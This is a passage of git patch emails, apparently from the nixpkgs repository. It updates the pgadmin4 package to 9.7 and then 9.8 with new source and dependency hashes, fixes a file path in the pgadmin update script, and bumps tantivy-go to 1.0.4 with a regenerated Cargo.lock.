 pkgs/by-name/pg/pgadmin4/package.nix         |  6 ++--
 2 files changed, 22 insertions(+), 22 deletions(-)

diff --git a/pkgs/by-name/pg/pgadmin4/missing-hashes.json b/pkgs/by-name/pg/pgadmin4/missing-hashes.json
index 05460a63f4a7..ad60429537cd 100644
--- a/pkgs/by-name/pg/pgadmin4/missing-hashes.json
+++ b/pkgs/by-name/pg/pgadmin4/missing-hashes.json
@@ -21,23 +21,23 @@
   "@img/sharp-win32-arm64@npm:0.34.3": "adc7d18a8334ca1fea09c877dc9493e75a9018f73dc63038c8ccef7535a272c0aa3c2a9867a49a223703747149fb1fe57ef8580dd6098f0f33c602a876a48e1b",
   "@img/sharp-win32-ia32@npm:0.34.3": "eef220adf1240429f72d9a9aadc22ccb741889785fa025396cfed41603364990b5f3841cee4d60525b22e65f36c7416297581300c873268fe2b7bb67087ada73",
   "@img/sharp-win32-x64@npm:0.34.3": "5a5d2624bea7a31393b5a89738ad22a2b020a67f5e5b9eb40063510b514e8516b0fb4e320ff9eb1d32fa2ee3b4c3a0387333d051da28d93957116cbbd63b5fe0",
-  "@unrs/resolver-binding-android-arm-eabi@npm:1.11.0": "c1b6a9231008b88b21ae121b947704c933bed766f429ee30e464ce8602793ad8420dee1107e5a389d358b9fb9130c1c04a45c54fd23f76fffc148322f77aac21",
-  "@unrs/resolver-binding-android-arm64@npm:1.11.0": "30870e5ceee3dd1be8150d1c7d719bd459ebdc1c7134e0fdf1f0864f15d395d490966373895728dc05a56ea19acce6a210826acce7fb4ae2806805b04204498b",
-  "@unrs/resolver-binding-darwin-arm64@npm:1.11.0": "050dee0e5fdbcb4104dba8ecdff32a37abc349406fd3f20f7aa5b90eff446db7791a948c9d508d0f801c21d697d88082d974ebd7eb034257bacfd1b91c9e52fa",
-  "@unrs/resolver-binding-darwin-x64@npm:1.11.0": "c88bd64753d75539d66fb149f190edafb6415cf178619b27d778b98f6aeb1c538730842f522b7ce0b209ed07c73644d729c55883b3d854317c8395c1e36325e9",
-  "@unrs/resolver-binding-freebsd-x64@npm:1.11.0": "f0da5e7d2ddc0c6af523741dc0395340c7cd908510c342a0e8a20e2281fdc7e9b965339d1a337cf358883a3e41b393e26315950c9ab3594c342a758065e83f01",
-  "@unrs/resolver-binding-linux-arm-gnueabihf@npm:1.11.0": "e3379d1e50209ea97066f7e275285fa9fdafe51e0b55786283cf72f6fde0d7b2bcbadf5443f8fe4d4852033ee9737ea4965b768660fb8fe5424f8df383eb1e63",
-  "@unrs/resolver-binding-linux-arm-musleabihf@npm:1.11.0": "af37c332162f948867da2ce5c0cf2482447d3458437116f90e9a7bdbfb69ff7ce64151c5aacd6b82ad0d0b49bbca13cca098bc448fe736e7b2451d3def580dcc",
-  "@unrs/resolver-binding-linux-arm64-gnu@npm:1.11.0": "9b0b1649b6493af4383e92453699f970acce726e69f666ba9f23ee7cd43393bce56ed18aa1d7d54550e17e46cd814eb2fd5a78fab64b2794b2647bc6f081f38a",
-  "@unrs/resolver-binding-linux-arm64-musl@npm:1.11.0": "defe8b45c1700d577cc5d7b672bbde3b22b5e8ceaa9778742c7b6735665e9e778cc4223a230a8d6c8175ece6bbe896dfb4c142be9f4c9dac35bd8c131ae0bb23",
-  "@unrs/resolver-binding-linux-ppc64-gnu@npm:1.11.0": "14ef4060c46d15b656e8b9d76da3d52251e9b2ac9e72036d6563cea82912cfb3c1ec054772641427e2422d8701275692c8820be8870feea710de212ecb286c43",
-  "@unrs/resolver-binding-linux-riscv64-gnu@npm:1.11.0": "b781e07bbdf954976f057242b5b450c85866b6cafbad316dfde45f7ef323b55ce85127cd1275e180efa091046347edb1486b7e551eb3f0f2ff462668998e426b",
-  "@unrs/resolver-binding-linux-riscv64-musl@npm:1.11.0": "be1be1eee6f46549473392ed8f0625127e1cad3aa5bc4979d9e1d9bbb99274b78451aab2318b3e2573be1096f845a3d4014de1888f6055b0135596bc8a475311",
-  "@unrs/resolver-binding-linux-s390x-gnu@npm:1.11.0": "1ec2f875f3548dc1646ab6a2a5d3143872b15797ac11842aff61f01c90c7239752fe2e634ce8da6f8908630a8132a0e0e0c3cff45719802fec464d53fcb1e64d",
-  "@unrs/resolver-binding-linux-x64-gnu@npm:1.11.0": "1257c1d3d37a1b47d0b50f68ebe6401f5f38f2a95635e475178a159c95c9a8c78fe6455bb93ff2dfc7885174e15b4df8d3fcba3f1dfa6a65662d9ec92eb7c34d",
-  "@unrs/resolver-binding-linux-x64-musl@npm:1.11.0": "af64c0803ac865d8726c45ed9208110d8720df441ed5da6b0a9667ecb963c7cd3e3ee5bccc7a97e73793e30dd7421e468560428e73469ad1513ed4c76441ee3d",
-  "@unrs/resolver-binding-wasm32-wasi@npm:1.11.0": "7172db7c1cd756c95ba7ba6f49526ac7be03960cd7928ec9fd5c757001d28fa2bf652a31671ac3b131bb37e627bd4b6f592023a9f5b6b820f33ad93cc6b88acf",
-  "@unrs/resolver-binding-win32-arm64-msvc@npm:1.11.0": "a0ffc06551498f263547a3371252f2ff8ce38da28f726ae8d6c4e1be8e968596e0b3fad8fadcc01856bde845733a8527d4b55727b9fbd1774da5728423a76181",
-  "@unrs/resolver-binding-win32-ia32-msvc@npm:1.11.0": "64478bb41d415cd2ac220b3518e286e24bbb18f50083545d1d8a40b565caaa24d72f43fb79c57f1ca919591870e27289ddf3c69cb5b763fd686c354fdd1e6e1b",
-  "@unrs/resolver-binding-win32-x64-msvc@npm:1.11.0": "9b44241725f19ba4aeb9377f7be3153b3e36971f9224b502921cffb72122ed9fa9f7b0a77e3bd6ec941c18f8b161782b4e8ea43eafc61e9d575d40c4c88c367b"
+  "@unrs/resolver-binding-android-arm-eabi@npm:1.11.1": "04dd38b694c1680bfec192b499e188700398a414886a08a8a7c72815db56ac147df03d88c73ff6fff7ac3e0a01dc41978054b3622b49463e0d684c5168557fcc",
+  "@unrs/resolver-binding-android-arm64@npm:1.11.1": "763626adc34dd2b4af677b5ced6493e7b2b1935351a5c9137f1c9561d11faf97b94015e6876e57e85c33ff563564314c92c0882a4780a57f2225cbbd779a695d",
+  "@unrs/resolver-binding-darwin-arm64@npm:1.11.1": "03b477fdfec55dbabe488fe0962417bddaa38b028d2670053469f1d24163907b097aac15b565f6974449bee398a38d5e3e1525f2b515ce57e243149021b7aa2f",
+  "@unrs/resolver-binding-darwin-x64@npm:1.11.1": "3aeff9aaf4ef6d786c517d9017b5c41b0af180cdbaf705d08e6e5b5ba9d5410d28ef6754c5f8a865f0bb5efd460dc1c4156b5e2201032c0a604a6c734ddbc848",
+  "@unrs/resolver-binding-freebsd-x64@npm:1.11.1": "b9f7a3e03db9edfc3480db056dd25229f901f21840ee768b69f349b66676a995a404e60617b3bcbd984f57f2199eb352dd6fad0f4420c3084ceef5e3293cdad5",
+  "@unrs/resolver-binding-linux-arm-gnueabihf@npm:1.11.1": "4d03b8bcef5a90586a846d6d332f39cee211f3d330b6e10036969894b6ecfb70b047265e985d572def93b84f38621dec30e4b4bb42699dd784adbae3ca5e7bea",
+  "@unrs/resolver-binding-linux-arm-musleabihf@npm:1.11.1": "9f3a3c2e5e6418a5a78294fa042824f5c270e993c1a99e82dd6b0ee0d2869929bb62dd154a0acc1e4ef16273e8073e0e257901208c062e6bdd49d586d07bb419",
+  "@unrs/resolver-binding-linux-arm64-gnu@npm:1.11.1": "05228d6fd669f404f0e3164ccf2430a52cc7b3bbd211367527b5d726b1220a1816bab70159bed55694d9b7543553f6002379e7e186c605d7055c5156977da022",
+  "@unrs/resolver-binding-linux-arm64-musl@npm:1.11.1": "8115802143396d4992bb2f6f0acb6e8bc141a57864c5fd84cbc70577c25784cb08dd163b753b1fc0decc02582cf4cb1e30d04faaf763048babbbe706bdfa26ea",
+  "@unrs/resolver-binding-linux-ppc64-gnu@npm:1.11.1": "50f9f54b2eafb1ea023671cc3070692b2b15f6e49105b08b3f588033e65e8de4183f76e080b798de710f9c41df1bf5515c01868866a21cbd35db179b4ac9f23b",
+  "@unrs/resolver-binding-linux-riscv64-gnu@npm:1.11.1": "8f8222f938cc2025ed3971e0e303f4ff5aa5df74474b835442830ebe942d050ba3f8bbb67095da64099e6fc69bb5bb73ca63db54e059c95e51aa8909880fb207",
+  "@unrs/resolver-binding-linux-riscv64-musl@npm:1.11.1": "5c8987f7dcaf38ef27ec67dcf118141502d5ac75d28429da6d1b7037f3e5a5351f32f55094472fde11784e65d01f1da4dafd7c0fdca28423fbc8de2c2c51d16c",
+  "@unrs/resolver-binding-linux-s390x-gnu@npm:1.11.1": "17aed6472880a82e5a05147a55efb6f0d968f5dcb584845addf89acec3824534ee741d4b162686124d17daf9131373c469c57843996a5ee2db4f1b1b55e1d11e",
+  "@unrs/resolver-binding-linux-x64-gnu@npm:1.11.1": "9495c08fc42f2d4a33e33c64adbcbf51588cd7ea07478eacb2e9143d955a760122440f4a3ac48b086cc2563ca2b2464d72ed0336fcc20c0a89ddc356f956eda8",
+  "@unrs/resolver-binding-linux-x64-musl@npm:1.11.1": "c84fadfee66eeebd16eb7cce7c4b5a1ec90260c724d0064111e9f43a1341ebfede61627cb68fd3a9735e4c10b25606fb472a4d13143cc569867b80d85c4a9824",
+  "@unrs/resolver-binding-wasm32-wasi@npm:1.11.1": "655a3990ed9b238e8f0c4858f87ca84bd3d81db300f7730c885162333055170e11207af7789ff38f619e261178718f6977729e42ce7978cc9e6ac7b6d93822d5",
+  "@unrs/resolver-binding-win32-arm64-msvc@npm:1.11.1": "983f800ff8b5181247a7d460ab5c9704cd425d0182e93290f69fb969d93efe17be6a27c22b97546d36e9a9d9aeda96d5f753bc938b3d9a00f32c10fc228ce5a9",
+  "@unrs/resolver-binding-win32-ia32-msvc@npm:1.11.1": "383d639e3b08fc9e4ba18127ef55610172d2d1d6adb83e1466fff2b223552384cdc6217051f749829e0c90a757ea5631e8c4ad2cfeb59bdee2bb033fbd526854",
+  "@unrs/resolver-binding-win32-x64-msvc@npm:1.11.1": "c862561f6495c0dbffb94d421e5727b25c1b61d98e22383bff23e6719a6c0125bb0b7df3be7220f5480bf54f5a605ea572f10fff1cce14fda24d42e396559940"
 }
diff --git a/pkgs/by-name/pg/pgadmin4/package.nix b/pkgs/by-name/pg/pgadmin4/package.nix
index 894d1e0061d3..5f107524a7a6 100644
--- a/pkgs/by-name/pg/pgadmin4/package.nix
+++ b/pkgs/by-name/pg/pgadmin4/package.nix
@@ -20,14 +20,14 @@
 
 let
   pname = "pgadmin";
-  version = "9.6";
-  yarnHash = "sha256-G3iG11nPEtco7FJe1H4s85tMpHqmUgPbj68gADBqDfY=";
+  version = "9.7";
+  yarnHash = "sha256-c+qPT9E4a/xqgSmfE0OnzLP31k0dXC6b2fwXnBKZjuE=";
 
   src = fetchFromGitHub {
     owner = "pgadmin-org";
     repo = "pgadmin4";
     rev = "REL-${lib.versions.major version}_${lib.versions.minor version}";
-    hash = "sha256-9WYyfioDb2eDf4oeMQ0kF/NUOuwki5gVZjlmels/+1g=";
+    hash = "sha256-UpeqEjaXm4mHVLpgJM1/pa2mhM6WbqW4A4U9u3RK+qw=";
   };
 
   # keep the scope, as it is used throughout the derivation and tests

From 23a6e07e3f4c3853c7cf23f7d3c4f923b82aed68 Mon Sep 17 00:00:00 2001
From: Florian Brandes <florian.brandes@posteo.de>
Date: Sun, 7 Sep 2025 11:39:59 +0200
Subject: [PATCH 4356/4511] pgadmin: 9.7 -> 9.8

Signed-off-by: Florian Brandes <florian.brandes@posteo.de>
(cherry picked from commit 81441f923c876229444a2d179bed6820a121ea03)
---
 pkgs/by-name/pg/pgadmin4/package.nix | 6 +++---
 pkgs/by-name/pg/pgadmin4/update.sh   | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/pg/pgadmin4/package.nix b/pkgs/by-name/pg/pgadmin4/package.nix
index 5f107524a7a6..adf9b1543aea 100644
--- a/pkgs/by-name/pg/pgadmin4/package.nix
+++ b/pkgs/by-name/pg/pgadmin4/package.nix
@@ -20,14 +20,14 @@
 
 let
   pname = "pgadmin";
-  version = "9.7";
-  yarnHash = "sha256-c+qPT9E4a/xqgSmfE0OnzLP31k0dXC6b2fwXnBKZjuE=";
+  version = "9.8";
+  yarnHash = "sha256-NvQlrDXn9sa4MpytFYPsC4bKO8Thx/MuqG8M6VIa2ig=";
 
   src = fetchFromGitHub {
     owner = "pgadmin-org";
     repo = "pgadmin4";
     rev = "REL-${lib.versions.major version}_${lib.versions.minor version}";
-    hash = "sha256-UpeqEjaXm4mHVLpgJM1/pa2mhM6WbqW4A4U9u3RK+qw=";
+    hash = "sha256-gnVrMuxWV7lAol1gyONbhtuUL4EEOfOPkRUM2esMgi0=";
   };
 
   # keep the scope, as it is used throughout the derivation and tests
diff --git a/pkgs/by-name/pg/pgadmin4/update.sh b/pkgs/by-name/pg/pgadmin4/update.sh
index de6bfcf81988..3f66e5b9848b 100755
--- a/pkgs/by-name/pg/pgadmin4/update.sh
+++ b/pkgs/by-name/pg/pgadmin4/update.sh
@@ -63,7 +63,7 @@ fi
 printf "Done\n"
 popd
 
-sed -i -E -e "s#yarnHash = \".*\"#yarnHash = \"$YARN_HASH\"#" ${scriptDir}/default.nix
+sed -i -E -e "s#yarnHash = \".*\"#yarnHash = \"$YARN_HASH\"#" ${scriptDir}/package.nix
 
 update-source-version pgadmin4 "$newest_version" --print-changes
 touch $TMPDIR/.done

From c513e8d0583e4c79d8ad1bf606895ad7be6ca91b Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Michal=20Koutensk=C3=BD?= <michal@koutensky.net>
Date: Fri, 8 Aug 2025 20:25:31 +0200
Subject: [PATCH 4357/4511] tantivy-go: 1.0.1 -> 1.0.4

(cherry picked from commit 99791e0252efdde07079c1a22dc92889a11a2530)
---
 .../ta/tantivy-go/add-Cargo.lock.patch        | 489 +++++++++++-------
 pkgs/by-name/ta/tantivy-go/package.nix        |   6 +-
 2 files changed, 319 insertions(+), 176 deletions(-)

diff --git a/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch b/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch
index 50fa59c32807..395a38741d53 100644
--- a/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch
+++ b/pkgs/by-name/ta/tantivy-go/add-Cargo.lock.patch
@@ -1,9 +1,9 @@
 diff --git a/rust/Cargo.lock b/rust/Cargo.lock
 new file mode 100644
-index 0000000..7cb3275
+index 0000000..6717372
 --- /dev/null
 +++ b/rust/Cargo.lock
-@@ -0,0 +1,1762 @@
+@@ -0,0 +1,1908 @@
 +# This file is automatically @generated by Cargo.
 +# It is not intended for manual editing.
 +version = 4
@@ -16,14 +16,14 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "ahash"
-+version = "0.8.11"
++version = "0.8.12"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e89da841a80418a9b391ebaea17f5c112ffaaa96f621d2c285b5174da76b9011"
++checksum = "5a15f179cd60c4584b8a8c596927aadc462e27f2ca70c04e0071964a73ba7a75"
 +dependencies = [
 + "cfg-if",
 + "once_cell",
 + "version_check",
-+ "zerocopy 0.7.35",
++ "zerocopy",
 +]
 +
 +[[package]]
@@ -43,9 +43,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "anstream"
-+version = "0.6.18"
++version = "0.6.20"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8acc5369981196006228e28809f761875c0327210a891e941f4c683b3a99529b"
++checksum = "3ae563653d1938f79b1ab1b5e668c87c76a9930414574a6583a7b7e11a8e6192"
 +dependencies = [
 + "anstyle",
 + "anstyle-parse",
@@ -58,37 +58,37 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "anstyle"
-+version = "1.0.10"
++version = "1.0.11"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "55cc3b69f167a1ef2e161439aa98aed94e6028e5f9a59be9a6ffb47aef1651f9"
++checksum = "862ed96ca487e809f1c8e5a8447f6ee2cf102f846893800b20cebdf541fc6bbd"
 +
 +[[package]]
 +name = "anstyle-parse"
-+version = "0.2.6"
++version = "0.2.7"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3b2d16507662817a6a20a9ea92df6652ee4f94f914589377d69f3b21bc5798a9"
++checksum = "4e7644824f0aa2c7b9384579234ef10eb7efb6a0deb83f9630a49594dd9c15c2"
 +dependencies = [
 + "utf8parse",
 +]
 +
 +[[package]]
 +name = "anstyle-query"
-+version = "1.1.2"
++version = "1.1.4"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "79947af37f4177cfead1110013d678905c37501914fba0efea834c3fe9a8d60c"
++checksum = "9e231f6134f61b71076a3eab506c379d4f36122f2af15a9ff04415ea4c3339e2"
 +dependencies = [
-+ "windows-sys 0.59.0",
++ "windows-sys 0.60.2",
 +]
 +
 +[[package]]
 +name = "anstyle-wincon"
-+version = "3.0.7"
++version = "3.0.10"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ca3534e77181a9cc07539ad51f2141fe32f6c3ffd4df76db8ad92346b003ae4e"
++checksum = "3e0633414522a32ffaac8ac6cc8f748e090c5717661fddeea04219e2344f5f2a"
 +dependencies = [
 + "anstyle",
-+ "once_cell",
-+ "windows-sys 0.59.0",
++ "once_cell_polyfill",
++ "windows-sys 0.60.2",
 +]
 +
 +[[package]]
@@ -105,14 +105,14 @@ index 0000000..7cb3275
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
 +name = "autocfg"
-+version = "1.4.0"
++version = "1.5.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26"
++checksum = "c08606f8c3cbf4ce6ec8e28fb0014a2c086708fe954eaa885384a6165172e7e8"
 +
 +[[package]]
 +name = "base64"
@@ -122,9 +122,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "bitflags"
-+version = "2.9.0"
++version = "2.9.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5c8214115b7bf84099f1309324e63141d4c5d7cc26862f97a0a857dbefe165bd"
++checksum = "1b8e56985ec62d17e9c1001dc89c88ecd7dc08e47eba5ec7c29c7b5eeecde967"
 +
 +[[package]]
 +name = "bitpacking"
@@ -137,9 +137,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "bon"
-+version = "3.6.1"
++version = "3.6.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "94054366e2ff97b455acdd4fdb03913f717febc57b7bbd1741b2c3b87efae030"
++checksum = "33d9ef19ae5263a138da9a86871eca537478ab0332a7770bac7e3f08b801f89f"
 +dependencies = [
 + "bon-macros",
 + "rustversion",
@@ -147,9 +147,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "bon-macros"
-+version = "3.6.1"
++version = "3.6.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "542a990e676ce0a0a895ae54b2d94afd012434f2228a85b186c6bc1a7056cdc6"
++checksum = "577ae008f2ca11ca7641bd44601002ee5ab49ef0af64846ce1ab6057218a5cc1"
 +dependencies = [
 + "darling",
 + "ident_case",
@@ -157,10 +157,16 @@ index 0000000..7cb3275
 + "proc-macro2",
 + "quote",
 + "rustversion",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
++name = "bumpalo"
++version = "3.19.0"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "46c5e41b57b8bba42a04676d81cb89e9ee8e859a1a66f80a5a72e1cb76b34d43"
++
++[[package]]
 +name = "byteorder"
 +version = "1.5.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -180,16 +186,16 @@ index 0000000..7cb3275
 + "quote",
 + "serde",
 + "serde_json",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 + "tempfile",
 + "toml",
 +]
 +
 +[[package]]
 +name = "cc"
-+version = "1.2.19"
++version = "1.2.32"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8e3a13707ac958681c13b39b458c073d0d9bc8a22cb1b2f4c8e55eb72c13f362"
++checksum = "2352e5597e9c544d5e6d9c95190d5d27738ade584fa8db0a16e130e5c2b5296e"
 +dependencies = [
 + "jobserver",
 + "libc",
@@ -213,24 +219,24 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "cfg-if"
-+version = "1.0.0"
++version = "1.0.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
++checksum = "9555578bc9e57714c812a1f84e4fc5b4d21fcb063490c624de019f7464c91268"
 +
 +[[package]]
 +name = "clap"
-+version = "4.5.36"
++version = "4.5.43"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2df961d8c8a0d08aa9945718ccf584145eee3f3aa06cddbeac12933781102e04"
++checksum = "50fd97c9dc2399518aa331917ac6f274280ec5eb34e555dd291899745c48ec6f"
 +dependencies = [
 + "clap_builder",
 +]
 +
 +[[package]]
 +name = "clap_builder"
-+version = "4.5.36"
++version = "4.5.43"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "132dbda40fb6753878316a489d5a1242a8ef2f0d9e47ba01c951ea8aa7d013a5"
++checksum = "c35b5830294e1fa0462034af85cc95225a4cb07092c088c55bda3147cfcd8f65"
 +dependencies = [
 + "anstream",
 + "anstyle",
@@ -240,15 +246,15 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "clap_lex"
-+version = "0.7.4"
++version = "0.7.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f46ad14479a25103f283c0f10005961cf086d8dc42205bb44c46ac563475dca6"
++checksum = "b94f61472cee1439c0b966b47e3aca9ae07e45d070759512cd390ea2bebc6675"
 +
 +[[package]]
 +name = "colorchoice"
-+version = "1.0.3"
++version = "1.0.4"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5b63caa9aa9397e2d9480a9b13673856c78d8ac123288526c37d7839f2a86990"
++checksum = "b05b61dc5112cbb17e4b6cd61790d9845d13888356391624cbe7e41efeac1e75"
 +
 +[[package]]
 +name = "core2"
@@ -261,9 +267,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "crc32fast"
-+version = "1.4.2"
++version = "1.5.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
++checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511"
 +dependencies = [
 + "cfg-if",
 +]
@@ -310,9 +316,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "darling"
-+version = "0.20.11"
++version = "0.21.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fc7f46116c46ff9ab3eb1597a45688b6715c6e628b5c133e288e709a29bcb4ee"
++checksum = "d6b136475da5ef7b6ac596c0e956e37bad51b85b987ff3d5e230e964936736b2"
 +dependencies = [
 + "darling_core",
 + "darling_macro",
@@ -320,27 +326,27 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "darling_core"
-+version = "0.20.11"
++version = "0.21.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0d00b9596d185e565c2207a0b01f8bd1a135483d02d9b7b0a54b11da8d53412e"
++checksum = "b44ad32f92b75fb438b04b68547e521a548be8acc339a6dacc4a7121488f53e6"
 +dependencies = [
 + "fnv",
 + "ident_case",
 + "proc-macro2",
 + "quote",
 + "strsim",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
 +name = "darling_macro"
-+version = "0.20.11"
++version = "0.21.1"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "fc34b93ccb385b40dc71c6fceac4b2ad23662c7eeb248cf10d529b7e055b6ead"
++checksum = "2b5be8a7a562d315a5b92a630c30cec6bcf663e6673f00fbb69cca66a6f521b9"
 +dependencies = [
 + "darling_core",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -402,12 +408,12 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "errno"
-+version = "0.3.11"
++version = "0.3.13"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "976dd42dc7e85965fe702eb8164f21f450704bdde31faefd6471dba214cb594e"
++checksum = "778e2ac28f6c47af28e4907f13ffd1e1ddbd400980a9abd7c8df189bf578a5ad"
 +dependencies = [
 + "libc",
-+ "windows-sys 0.59.0",
++ "windows-sys 0.60.2",
 +]
 +
 +[[package]]
@@ -458,7 +464,7 @@ index 0000000..7cb3275
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -492,20 +498,20 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "getrandom"
-+version = "0.2.15"
++version = "0.2.16"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7"
++checksum = "335ff9f135e4384c8150d6f27c6daed433577f86b4750418338c01a1a2528592"
 +dependencies = [
 + "cfg-if",
 + "libc",
-+ "wasi 0.11.0+wasi-snapshot-preview1",
++ "wasi 0.11.1+wasi-snapshot-preview1",
 +]
 +
 +[[package]]
 +name = "getrandom"
-+version = "0.3.2"
++version = "0.3.3"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "73fea8450eea4bac3940448fb7ae50d91f034f941199fcd9d909a5a07aa455f0"
++checksum = "26145e563e54f2cadc477553f1ec5ee650b00862f0a58bcd12cbdc5f0ea2d2f4"
 +dependencies = [
 + "cfg-if",
 + "libc",
@@ -525,9 +531,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "hashbrown"
-+version = "0.15.2"
++version = "0.15.5"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "bf151400ff0baff5465007dd2f3e717f3fe502074ca563069ce3a6629d07b289"
++checksum = "9229cfe53dfd69f0609a49f65461bd93001ea1ef889cd5529dd176593f5338a1"
 +dependencies = [
 + "allocator-api2",
 + "equivalent",
@@ -581,17 +587,17 @@ index 0000000..7cb3275
 + "libflate",
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
 +name = "indexmap"
-+version = "2.9.0"
++version = "2.10.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "cea70ddb795996207ad57735b50c5982d8844f38ba9ee5f1aedcfb708a2aa11e"
++checksum = "fe4cd85333e22411419a0bcae1297d25e58c9443848b11dc6a86fefe8c78a661"
 +dependencies = [
 + "equivalent",
-+ "hashbrown 0.15.2",
++ "hashbrown 0.15.5",
 +]
 +
 +[[package]]
@@ -626,9 +632,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "jieba-rs"
-+version = "0.7.2"
++version = "0.7.4"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "6d1bcad6332969e4d48ee568d430e14ee6dea70740c2549d005d87677ebefb0c"
++checksum = "f5dd552bbb95d578520ee68403bf8aaf0dbbb2ce55b0854d019f9350ad61040a"
 +dependencies = [
 + "cedarwood",
 + "fxhash",
@@ -641,9 +647,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "jiff"
-+version = "0.2.8"
++version = "0.2.15"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e5ad87c89110f55e4cd4dc2893a9790820206729eaf221555f742d540b0724a0"
++checksum = "be1f93b8b1eb69c77f24bbb0afdf66f54b632ee39af40ca21c4365a1d7347e49"
 +dependencies = [
 + "jiff-static",
 + "log",
@@ -654,13 +660,13 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "jiff-static"
-+version = "0.2.8"
++version = "0.2.15"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d076d5b64a7e2fe6f0743f02c43ca4a6725c0f904203bfe276a5b3e793103605"
++checksum = "03343451ff899767262ec32146f6d559dd759fdadf42ff0e227c7c48f72594b4"
 +dependencies = [
 + "proc-macro2",
 + "quote",
-+ "syn 2.0.100",
++ "syn 2.0.104",
 +]
 +
 +[[package]]
@@ -669,11 +675,21 @@ index 0000000..7cb3275
 +source = "registry+https://github.com/rust-lang/crates.io-index"
 +checksum = "38f262f097c174adebe41eb73d66ae9c06b2844fb0da69969647bbddd9b0538a"
 +dependencies = [
-+ "getrandom 0.3.2",
++ "getrandom 0.3.3",
 + "libc",
 +]
 +
 +[[package]]
++name = "js-sys"
++version = "0.3.77"
++source = "registry+https://github.com/rust-lang/crates.io-index"
++checksum = "1cfaf33c695fc6e08064efbc1f72ec937429614f25eef83af942d0e227c3a28f"
++dependencies = [
++ "once_cell",
++ "wasm-bindgen",
++]
++
++[[package]]
 +name = "lazy_static"
 +version = "1.5.0"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
@@ -687,9 +703,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "libc"
-+version = "0.2.172"
++version = "0.2.174"
 +source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d750af042f7ef4f724306de029d18836c26c1765a54a6a3f094cbd23a7267ffa"
++checksum = "1171693293099992e19cddea4e8b849964e9846f4acee11b3948bcc337be8776"
 +
 +[[package]]
 +name = "libflate"
@@ -717,9 +733,9 @@ index 0000000..7cb3275
 +
 +[[package]]
 +name = "libm"
